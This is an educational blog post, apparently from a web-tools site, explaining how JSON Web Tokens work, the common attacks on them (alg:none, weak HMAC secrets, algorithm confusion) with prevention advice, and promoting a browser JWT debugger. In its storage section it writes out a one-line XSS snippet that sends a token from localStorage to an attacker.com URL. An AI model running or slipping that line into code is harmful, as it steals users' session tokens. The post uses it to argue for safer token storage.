KitWharfFREEFast & Private Web Apps

JSON Web Tokens (JWT) Explained: How They Work, How to Decode Them, and Security Best Practices

October 20, 20268 min readKitWharf Team

In the early days of the web, authentication was straightforward: you typed your username and password, the server created a session record in its local memory or database, and handed your browser a random cookie. Every subsequent request sent that cookie back, and the server looked up who you were.

As software transitioned to distributed microservices, multi-region cloud architectures, mobile native apps, and single-page applications (SPAs), traditional server-side sessions hit scaling bottlenecks. Looking up every single API request in a central Redis cache or database created latency and single-point-of-failure risks.

Enter JSON Web Tokens (JWT). Today, JWTs (standardized by RFC 7519) are the ubiquitous foundation of modern authentication and authorization workflows, powering OAuth 2.0, OpenID Connect (OIDC), AWS Cognito, Firebase, and Auth0.

Here is a comprehensive guide to understanding how JWTs work under the hood, how to inspect their claims, and how to avoid the critical security pitfalls that leave APIs vulnerable to attack.

What is a JSON Web Token?

A JSON Web Token is a compact, URL-safe means of transferring cryptographically verifiable claims between two parties.

The defining characteristic of a JWT is that it is stateless and self-contained:

  • Self-contained: The token itself carries all the necessary information about the user (user ID, username, email, granted permission roles, and expiration dates).
  • Stateless: The receiving API server does not need to query a central database to find out who you are. The server merely verifies the cryptographic signature on the token using its secret or public key. If the signature is valid, the claims inside the token are trusted.

The Three Components of a JWT

A JWT looks like a single unbroken string of garbled text separated by two periods (.):

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c

When you split the string at the dots, you reveal three distinct segments:

[Header] . [Payload] . [Signature]

1. The Header (Red)

The header contains metadata describing how the token is constructed. It is a JSON object with two primary fields:

  • alg: The cryptographic signing algorithm used to secure the token (e.g., HS256 for HMAC-SHA256, RS256 for RSA Signature with SHA-256, or ES256 for ECDSA).
  • typ: The token type, which is virtually always "JWT".
{
  "alg": "HS256",
  "typ": "JWT"
}

2. The Payload (Purple)

The payload contains the claims — statements about the user and additional context.

{
  "sub": "user_84920",
  "name": "Alex Mercer",
  "role": "editor",
  "iat": 1760000000,
  "exp": 1760003600
}

Claims fall into three categories:

  1. Registered claims: Pre-defined, standardized attributes recommended by RFC 7519 (like exp for expiration, iat for issue time, sub for subject identifier).
  2. Public claims: Custom claims defined by open communities (such as email addresses or profile URLs).
  3. Private claims: Custom claims agreed upon by the producer and consumer to share application-specific data (such as role: "admin" or tenant_id: "acme_corp").

3. The Signature (Green)

The signature is the security anchor of the entire token. It is calculated by taking the Base64URL-encoded header, appending a dot, appending the Base64URL-encoded payload, and signing the combined string using the algorithm specified in the header and a private secret key:

Signature = HMAC_SHA256(Base64URL(Header) + "." + Base64URL(Payload), secretKey)

If an attacker modifies even a single character in the payload (for example, altering "role": "user" to "role": "admin"), the signature calculated by the API server will not match the signature on the token. The server instantly detects the tampering and rejects the request with HTTP 401 Unauthorized.

Base64URL: The Transportation Alphabet

Notice that the header and payload are not stored as raw JSON strings; they are encoded using Base64URL.

Standard Base64 uses the characters +, /, and = (padding). These characters have special syntactic meanings in HTTP headers, URL query strings, and HTML form bodies. Base64URL makes tokens URL-safe by:

  • Replacing + with a hyphen (-)
  • Replacing / with an underscore (_)
  • Stripping off all trailing padding = characters

Because Base64URL is a completely reversible encoding (not encryption), anyone who intercepts a JWT can decode the header and payload in less than a millisecond!

The Dangerous Misconception: "JWTs Are Encrypted"

One of the most persistent, dangerous security misconceptions among web developers is assuming that because a JWT looks like jumbled characters, its contents are private.

Standard JSON Web Tokens (JWS - JSON Web Signature) are signed, NOT encrypted.

A signed token provides Integrity and Authenticity, but Zero Confidentiality:

  • Authenticity: You can prove who created the token.
  • Integrity: You can prove the token has not been tampered with.
  • Confidentiality: NONE. The payload is in plain sight.

Golden Security Rule: Never store passwords, Social Security numbers, banking details, private encryption keys, or unencrypted Personally Identifiable Information (PII) inside a JWT payload. If your application requires confidentiality, you must use JSON Web Encryption (JWE).

Standard Registered Claims You Should Always Use

RFC 7519 reserves several three-letter claim keys. Adhering to these conventions ensures compatibility with standard auth libraries:

Claim Full Name Purpose Example
sub Subject The unique ID of the authenticated user or entity `"sub": "auth0
iss Issuer The authority that created the token (prevents token spoofing across environments) "iss": "https://auth.kitwharf.com"
aud Audience The intended recipient or backend API service "aud": "https://api.kitwharf.com"
exp Expiration Time Unix timestamp after which the token must be rejected "exp": 1760003600
nbf Not Before Unix timestamp before which the token must not be accepted "nbf": 1760000000
iat Issued At Unix timestamp recording when the token was created "iat": 1760000000
jti JWT ID A unique nonce identifier for the token (used to prevent replay attacks) "jti": "d748f2c3-4e89"

Always set an explicit exp claim on every access token you generate. A JWT without an expiration timestamp is valid forever, making any credential leak permanent until your server keys are rotated.

The Top 4 JWT Security Vulnerabilities (and How to Avoid Them)

Over the years, flawed JWT implementations have resulted in massive security breaches. Here are the four critical vulnerabilities every engineer must protect against:

1. The Infamous alg: none Attack

RFC 7519 explicitly supports an unsecured token format where the algorithm is set to "none" and the signature segment is empty (header.payload.).

In early, poorly written backend libraries, parsers automatically trusted the alg header provided by the client:

  1. An attacker grabbed a legitimate user token.
  2. The attacker modified the payload to "role": "superadmin".
  3. The attacker changed the header to {"alg": "none"} and deleted the signature.
  4. The vulnerable server saw alg: none, skipped signature verification entirely, and granted full administrative privileges!

Prevention: Modern libraries reject alg: none by default. Always hardcode the expected algorithm in your verification middleware (jwt.verify(token, secret, { algorithms: ['HS256'] })).

2. Weak HMAC Secrets & Offline Brute-Forcing

Because JWT signatures are generated using public mathematical standards, an attacker who obtains a single signed token can download it to their local machine and run offline GPU dictionary attacks using tools like Hashcat or John the Ripper.

If your HMAC secret is a simple dictionary word like "secret" or "keyboardcat", a modern GPU can crack your signing key in under 30 seconds. Once the attacker discovers your secret key, they can forge valid tokens for any user in your system.

Prevention: Use a cryptographically secure random key of at least 256 bits (32 bytes) generated by a hardware entropy pool, or use asymmetric public/private keys (RS256).

3. Algorithm Confusion (Asymmetric to Symmetric)

In systems using RS256 (where the auth server signs with a private RSA key and APIs verify with a public key), attackers discovered an ingenious exploit:

  1. The public RSA key is publicly accessible (often hosted at /.well-known/jwks.json).
  2. The attacker modifies a token to claim admin privileges.
  3. The attacker changes the header algorithm from RS256 to HS256 (symmetric HMAC).
  4. The attacker signs the forged token with the server's public key as the HMAC secret!
  5. If the backend verification function blindly trusted the token's header, it would treat the public key as an HMAC secret and validate the token as authentic!

Prevention: Never allow the incoming token to dictate the verification algorithm. Explicitly whitelist only the algorithms you support.

4. Storing Tokens in localStorage vs. HttpOnly Cookies

Where should web applications store JWT access tokens?

  • localStorage: Convenient for developers, but completely accessible to JavaScript. Any Cross-Site Scripting (XSS) vulnerability (a compromised npm package, third-party analytics script, or unescaped user input) can steal all tokens stored in localStorage with one line of code: fetch('https://attacker.com?token=' + localStorage.getItem('jwt')).
  • HttpOnly Cookies: Inaccessible to client-side JavaScript. Modern browsers automatically attach HttpOnly, Secure, SameSite=Strict cookies to API requests, shielding tokens from XSS theft.

The Revocation Dilemma: How to Invalidate a Stateless Token

Because JWTs are stateless, they introduce an architectural trade-off: once issued, a valid JWT cannot be easily revoked before its expiration date.

If an employee is terminated, or a user changes their password, how do you prevent an active JWT from continuing to access your API?

Industry standard architectures solve this with a Dual-Token System:

  1. Short-Lived Access Token (JWT): Has an expiration of 5 to 15 minutes. Sent with every API request.
  2. Long-Lived Refresh Token: Stored securely in a database and sent in an HttpOnly cookie. Used once every 15 minutes to obtain a fresh access token.

If a user logs out or changes their password, the server simply deletes the refresh token record in the database. When the short-lived access token expires 10 minutes later, the client cannot refresh it and is forced to log in again.

Decode, Inspect, and Verify Tokens in Your Browser

Need to inspect a token, check when it expires, or test whether a secret key matches its signature?

The KitWharf JWT Encoder, Decoder & Debugger provides an interactive environment right on your device:

  • Color-Coded Visual Inspector: Distinct styling for Header, Payload, and Signature.
  • Automated Claims Analyzer: Instant human-readable countdowns for exp, iat, and nbf timestamps.
  • HMAC Signature Verifier: Enter an HMAC secret (text or Base64) to verify signatures using the browser's native Web Crypto API.
  • Custom JWT Generator: Build, modify claims (+1 hour, +24 hours), and sign custom tokens on the fly.
  • 100% Private: No tokens, headers, or secrets are ever uploaded across the network.

Frequently asked questions

Can anyone decode the payload of a JWT? Yes. The header and payload are merely Base64URL-encoded JSON. Anyone who intercepts the token can decode and read every claim inside it using standard decoding tools.

What is the difference between HS256 and RS256? HS256 (HMAC-SHA256) is symmetric: the same secret key is used both to sign and verify tokens. RS256 (RSA-SHA256) is asymmetric: tokens are signed using a private key (held exclusively by the auth server) and verified using a public key (distributed freely to microservices and clients).

What happens if a token is tampered with? If any character in the header or payload is modified, the cryptographic signature check will fail when verified by the backend server, causing the request to be immediately rejected with an HTTP 401 Unauthorized status.

Advertisement
Google AdSense Ad SlotHORIZONTAL (Auto-reserves space for 0 Cumulative Layout Shift)